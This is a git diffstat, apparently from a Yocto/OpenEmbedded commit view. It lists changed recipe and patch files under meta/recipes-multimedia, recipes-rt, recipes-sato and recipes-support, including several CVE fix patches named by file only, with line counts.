-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch32
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg_4.2.1.bb158
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg_5.0.bb176
-rw-r--r--meta/recipes-multimedia/flac/flac_1.3.3.bb45
-rw-r--r--meta/recipes-multimedia/flac/flac_1.3.4.bb45
-rw-r--r--meta/recipes-multimedia/gstreamer/files/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch35
-rw-r--r--meta/recipes-multimedia/gstreamer/files/0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch40
-rw-r--r--meta/recipes-multimedia/gstreamer/files/add-a-target-to-compile-tests.patch69
-rw-r--r--meta/recipes-multimedia/gstreamer/files/gtk-doc-tweaks.patch47
-rw-r--r--meta/recipes-multimedia/gstreamer/files/run-ptest3
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-devtools/0001-connect-has-a-different-signature-on-musl.patch (renamed from meta/recipes-multimedia/gstreamer/files/0001-connect-has-a-different-signature-on-musl.patch)10
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-devtools_1.20.1.bb52
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch24
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb31
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb35
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-plugins-package.inc56
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-validate_1.16.1.bb25
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-Disable-yasm-for-libav-when-disable-yasm.patch33
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-configure-check-for-armv7ve-variant.patch35
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/0001-fix-host-contamination.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/mips64_cpu_detection.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav/workaround-to-build-gst-libav-for-i586-with-gcc.patch26
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.1.bb70
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.20.1.bb28
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb22
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.1.bb57
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.20.1.bb47
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch26
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch28
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch86
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch33
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch40
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch30
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/configure-allow-to-disable-libssh2.patch61
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch85
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch28
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.1.bb145
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.20.1.bb165
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch44
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-gstreamer-gl.pc.in-don-t-append-GL_CFLAGS-to-CFLAGS.patch29
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-Makefile.am-prefix-calls-to-pkg-config-with-PKG_CONF.patch295
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch229
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-riff-add-missing-include-directories-when-calling-in.patch26
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch227
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0004-rtsp-drop-incorrect-reference-to-gstreamer-sdp-in-Ma.patch25
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch42
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/link-with-libvchostif.patch45
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/make-gio_unix_2_0-dependency-configurable.patch45
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.1.bb73
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.20.1.bb92
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc47
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch56
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.1.bb76
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.20.1.bb76
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc19
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc73
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.1.bb40
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.20.1.bb46
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins.inc41
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.1.bb37
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.20.1.bb30
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.1.bb34
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.20.1.bb31
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-gst-vaapi-Makefile.am-Add-EGL_CFLAGS-to-libgstvaapi-.patch33
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch46
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.1.bb49
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.20.1.bb53
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch109
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch50
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch74
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-remove-gstbin-test_watch_for_state_change-test.patch107
-rwxr-xr-xmeta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest2
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.1.bb91
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0_1.20.1.bb73
-rw-r--r--meta/recipes-multimedia/lame/lame_3.100.bb13
-rw-r--r--meta/recipes-multimedia/liba52/liba52_0.7.4.bb9
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch40
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch34
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch43
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch15
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch39
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb27
-rw-r--r--meta/recipes-multimedia/libogg/libogg_1.3.4.bb17
-rw-r--r--meta/recipes-multimedia/libogg/libogg_1.3.5.bb17
-rw-r--r--meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb18
-rw-r--r--meta/recipes-multimedia/libpng/libpng_1.6.37.bb17
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch62
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb28
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb26
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch107
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch96
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch42
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch34
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch73
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch59
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch37
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch37
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch115
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch34
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch37
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch55
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb39
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1_1.0.31.bb33
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/0001-tiffset-fix-global-buffer-overflow-for-ASCII-tags-wh.patch43
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/561599c99f987dc32ae110370cfdd7df7975586b.patch30
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2019-14973.patch415
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2019-17546.patch103
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2019-6128.patch52
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2019-7663.patch77
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/eecb0712f4c3a5b449f70c57988260a667ddbdef.patch32
-rw-r--r--meta/recipes-multimedia/libtiff/tiff_4.0.10.bb54
-rw-r--r--meta/recipes-multimedia/libtiff/tiff_4.3.0.bb60
-rw-r--r--meta/recipes-multimedia/libvorbis/libvorbis/CVE-2017-14160.patch34
-rw-r--r--meta/recipes-multimedia/libvorbis/libvorbis/CVE-2018-10392.patch34
-rw-r--r--meta/recipes-multimedia/libvorbis/libvorbis_1.3.6.bb21
-rw-r--r--meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb19
-rw-r--r--meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb22
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123/sdl2.patch14
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123_1.25.12.bb51
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb52
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio.inc177
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-alsa-Fix-inclusion-of-use-case.h.patch46
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch26
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-introduce-a-special-build-flag-to-explicitly-disable.patch161
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-meson-Check-for-__get_cpuid.patch82
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch8
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio_12.2.bb16
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio_15.0.bb11
-rw-r--r--meta/recipes-multimedia/sbc/sbc/0001-sbc_primitives-Fix-build-on-non-x86.patch45
-rw-r--r--meta/recipes-multimedia/sbc/sbc_1.4.bb23
-rw-r--r--meta/recipes-multimedia/sbc/sbc_1.5.bb24
-rw-r--r--meta/recipes-multimedia/speex/speex/CVE-2020-23903.patch30
-rw-r--r--meta/recipes-multimedia/speex/speex_1.2.0.bb4
-rw-r--r--meta/recipes-multimedia/speex/speexdsp/0001-Don-t-rely-on-HAVE_STDINT_H-et-al.-being-defined.patch63
-rw-r--r--meta/recipes-multimedia/speex/speexdsp_1.2.0.bb27
-rw-r--r--meta/recipes-multimedia/speex/speexdsp_1.2rc3.bb39
-rw-r--r--meta/recipes-multimedia/webp/libwebp_1.0.3.bb56
-rw-r--r--meta/recipes-multimedia/webp/libwebp_1.2.2.bb55
-rw-r--r--meta/recipes-multimedia/x264/x264/Fix-X32-build-by-disabling-asm.patch14
-rw-r--r--meta/recipes-multimedia/x264/x264_git.bb18
-rw-r--r--meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch29
-rwxr-xr-xmeta/recipes-rt/rt-tests/files/rt_bmark.py4
-rw-r--r--meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb26
-rw-r--r--meta/recipes-rt/rt-tests/hwlatdetect_git.bb26
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests.inc11
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests_1.1.bb35
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests_git.bb36
-rw-r--r--meta/recipes-sato/images/core-image-sato-dev.bb1
-rw-r--r--meta/recipes-sato/images/core-image-sato-ptest-fast.bb16
-rw-r--r--meta/recipes-sato/images/core-image-sato-sdk-ptest.bb21
-rw-r--r--meta/recipes-sato/images/core-image-sato-sdk.bb4
-rw-r--r--meta/recipes-sato/images/core-image-sato.bb8
-rw-r--r--meta/recipes-sato/l3afpad/l3afpad_git.bb16
-rw-r--r--meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch24
-rw-r--r--meta/recipes-sato/libptytty/libptytty_2.0.bb13
-rw-r--r--meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb8
-rw-r--r--meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb13
-rw-r--r--meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb17
-rw-r--r--meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb18
-rw-r--r--meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb10
-rw-r--r--meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb6
-rw-r--r--meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc4
-rw-r--r--meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb2
-rw-r--r--meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb20
-rw-r--r--meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb40
-rw-r--r--meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb40
-rw-r--r--meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb4
-rw-r--r--meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch32
-rw-r--r--meta/recipes-sato/puzzles/files/0001-Use-labs-instead-of-abs.patch46
-rw-r--r--meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch72
-rw-r--r--meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch33
-rw-r--r--meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch43
-rw-r--r--meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch25
-rw-r--r--meta/recipes-sato/puzzles/puzzles_git.bb49
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc16
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb8
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb8
-rw-r--r--meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb12
-rw-r--r--meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb12
-rw-r--r--meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb2
-rw-r--r--meta/recipes-sato/webkit/libwpe_1.12.0.bb18
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch2
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch75
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch133
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch16
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch35
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch8
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch2
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/cross-compile.patch23
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/include_array.patch15
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch28
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/reproducibility.patch22
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/x32_support.patch30
-rw-r--r--meta/recipes-sato/webkit/webkitgtk_2.26.1.bb127
-rw-r--r--meta/recipes-sato/webkit/webkitgtk_2.34.6.bb168
-rw-r--r--meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb24
-rw-r--r--meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch3
-rw-r--r--meta/recipes-support/apr/apr-util_1.6.1.bb39
-rw-r--r--meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch69
-rw-r--r--meta/recipes-support/apr/apr/CVE-2021-35940.patch58
-rw-r--r--meta/recipes-support/apr/apr/autoconf270.patch22
-rw-r--r--meta/recipes-support/apr/apr_1.7.0.bb33
-rw-r--r--meta/recipes-support/argp-standalone/argp-standalone_1.3.bb7
-rw-r--r--meta/recipes-support/aspell/aspell_0.60.8.bb33
-rw-r--r--meta/recipes-support/aspell/files/CVE-2019-25051.patch101
-rw-r--r--meta/recipes-support/atk/at-spi2-atk_2.32.0.bb19
-rw-r--r--meta/recipes-support/atk/at-spi2-atk_2.38.0.bb20
-rw-r--r--meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch33
-rw-r--r--meta/recipes-support/atk/at-spi2-core_2.32.1.bb36
-rw-r--r--meta/recipes-support/atk/at-spi2-core_2.42.0.bb41
-rw-r--r--meta/recipes-support/atk/atk/0001-meson.build-enable-introspection-for-cross-compile.patch29
-rw-r--r--meta/recipes-support/atk/atk_2.32.0.bb22
-rw-r--r--meta/recipes-support/atk/atk_2.36.0.bb21
-rw-r--r--meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch63
-rw-r--r--meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch24
-rw-r--r--meta/recipes-support/attr/acl/Makefile-libacl-should-depend-on-include.patch51
-rw-r--r--meta/recipes-support/attr/acl/acl-fix-the-order-of-expected-output-of-getfacl.patch198
-rw-r--r--meta/recipes-support/attr/acl/configure.ac49
-rw-r--r--meta/recipes-support/attr/acl/run-ptest60
-rw-r--r--meta/recipes-support/attr/acl/test-fix-directory-permissions.patch37
-rw-r--r--meta/recipes-support/attr/acl/test-fix-insufficient-quoting-of.patch100
-rw-r--r--meta/recipes-support/attr/acl/test-fixups-on-SELinux-machines-for-root-testcases.patch84
-rw-r--r--meta/recipes-support/attr/acl_2.2.52.bb52
-rw-r--r--meta/recipes-support/attr/acl_2.3.1.bb78
-rw-r--r--meta/recipes-support/attr/attr.inc59
-rw-r--r--meta/recipes-support/attr/attr/0001-Use-stdint-types-consistently.patch69
-rw-r--r--meta/recipes-support/attr/attr/attr-Missing-configure.ac.patch63
-rw-r--r--meta/recipes-support/attr/attr/dont-use-decl-macros.patch56
-rw-r--r--meta/recipes-support/attr/attr/run-ptest3
-rw-r--r--meta/recipes-support/attr/attr_2.4.47.bb15
-rw-r--r--meta/recipes-support/attr/attr_2.5.1.bb5
-rw-r--r--meta/recipes-support/attr/ea-acl.inc52
-rw-r--r--meta/recipes-support/attr/files/0001-Added-configure-option-to-enable-disable-static-libr.patch70
-rw-r--r--meta/recipes-support/attr/files/Remove-the-attr.5-man-page-moved-to-man-pages.patch240
-rw-r--r--meta/recipes-support/attr/files/Remove-the-section-2-man-pages.patch666
-rw-r--r--meta/recipes-support/attr/files/relative-libdir.patch25
-rw-r--r--meta/recipes-support/attr/files/run-ptest5
-rw-r--r--meta/recipes-support/bash-completion/bash-completion_2.11.bb40
-rw-r--r--meta/recipes-support/bash-completion/bash-completion_2.9.bb37
-rw-r--r--meta/recipes-support/bmap-tools/bmap-tools_3.5.bb25
-rw-r--r--meta/recipes-support/bmap-tools/bmap-tools_git.bb26
-rw-r--r--meta/recipes-support/boost/bjam-native_1.71.0.bb20
-rw-r--r--meta/recipes-support/boost/boost-1.71.0.inc21
-rw-r--r--meta/recipes-support/boost/boost-1.78.0.inc20
-rw-r--r--meta/recipes-support/boost/boost-build-native_4.4.1.bb27
-rw-r--r--meta/recipes-support/boost/boost.inc97
-rw-r--r--meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch100
-rw-r--r--meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch28
-rw-r--r--meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch42
-rw-r--r--meta/recipes-support/boost/boost/0001-futex-fix-build-on-32-bit-architectures-using-64-bit.patch36
-rw-r--r--meta/recipes-support/boost/boost/arm-intrinsics.patch55
-rw-r--r--meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch30
-rw-r--r--meta/recipes-support/boost/boost_1.71.0.bb9
-rw-r--r--meta/recipes-support/boost/boost_1.78.0.bb10
-rw-r--r--meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch38
-rw-r--r--meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch27
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch80
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch37
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch20
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch34
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates_20190110.bb90
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates_20211016.bb89
-rw-r--r--meta/recipes-support/consolekit/consolekit_0.4.6.bb18
-rw-r--r--meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch44
-rw-r--r--meta/recipes-support/curl/curl_7.66.0.bb80
-rw-r--r--meta/recipes-support/curl/curl_7.82.0.bb93
-rw-r--r--meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch2
-rw-r--r--meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch2
-rw-r--r--meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch45
-rw-r--r--meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch2
-rw-r--r--meta/recipes-support/db/db/fix-parallel-build.patch2
-rw-r--r--meta/recipes-support/db/db/sequence-type.patch2
-rw-r--r--meta/recipes-support/db/db_5.3.28.bb31
-rw-r--r--meta/recipes-support/debianutils/debianutils_4.8.6.3.bb55
-rw-r--r--meta/recipes-support/debianutils/debianutils_5.7.bb60
-rw-r--r--meta/recipes-support/diffoscope/diffoscope_206.bb30
-rw-r--r--meta/recipes-support/dos2unix/dos2unix_7.4.0.bb35
-rw-r--r--meta/recipes-support/dos2unix/dos2unix_7.4.2.bb34
-rw-r--r--meta/recipes-support/enchant/enchant2_2.3.2.bb31
-rw-r--r--meta/recipes-support/enchant/enchant_1.6.0.bb34
-rw-r--r--meta/recipes-support/fribidi/fribidi_1.0.11.bb22
-rw-r--r--meta/recipes-support/fribidi/fribidi_1.0.7.bb17
-rw-r--r--meta/recipes-support/gdbm/files/ptest.patch26
-rw-r--r--meta/recipes-support/gdbm/gdbm_1.18.1.bb43
-rw-r--r--meta/recipes-support/gdbm/gdbm_1.23.bb45
-rw-r--r--meta/recipes-support/gmp/gmp-6.1.2/amd64.patch18
-rw-r--r--meta/recipes-support/gmp/gmp.inc4
-rw-r--r--meta/recipes-support/gmp/gmp/0001-Append-the-user-provided-flags-to-the-auto-detected-.patch (renamed from meta/recipes-support/gmp/gmp-6.1.2/0001-Append-the-user-provided-flags-to-the-auto-detected-.patch)0
-rw-r--r--meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch (renamed from meta/recipes-support/gmp/gmp-6.1.2/0001-confiure.ac-Believe-the-cflags-from-environment.patch)18
-rw-r--r--meta/recipes-support/gmp/gmp/cve-2021-43618.patch27
-rw-r--r--meta/recipes-support/gmp/gmp/use-includedir.patch (renamed from meta/recipes-support/gmp/gmp-6.1.2/use-includedir.patch)3
-rw-r--r--meta/recipes-support/gmp/gmp_6.1.2.bb45
-rw-r--r--meta/recipes-support/gmp/gmp_6.2.1.bb45
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch31
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb18
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb24
-rw-r--r--meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch105
-rw-r--r--meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch6
-rw-r--r--meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch73
-rw-r--r--meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch21
-rw-r--r--meta/recipes-support/gnupg/gnupg/relocate.patch91
-rw-r--r--meta/recipes-support/gnupg/gnupg_2.2.17.bb58
-rw-r--r--meta/recipes-support/gnupg/gnupg_2.3.4.bb85
-rw-r--r--meta/recipes-support/gnutls/gnutls/arm_eabi.patch15
-rw-r--r--meta/recipes-support/gnutls/gnutls/posix-shell.patch39
-rw-r--r--meta/recipes-support/gnutls/gnutls_3.6.8.bb68
-rw-r--r--meta/recipes-support/gnutls/gnutls_3.7.3.bb68
-rw-r--r--meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch26
-rw-r--r--meta/recipes-support/gnutls/libtasn1/fix-gtkdoc.patch38
-rw-r--r--meta/recipes-support/gnutls/libtasn1/fix-ldflags.patch31
-rw-r--r--meta/recipes-support/gnutls/libtasn1_4.14.bb24
-rw-r--r--meta/recipes-support/gnutls/libtasn1_4.18.0.bb23
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch8
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch25
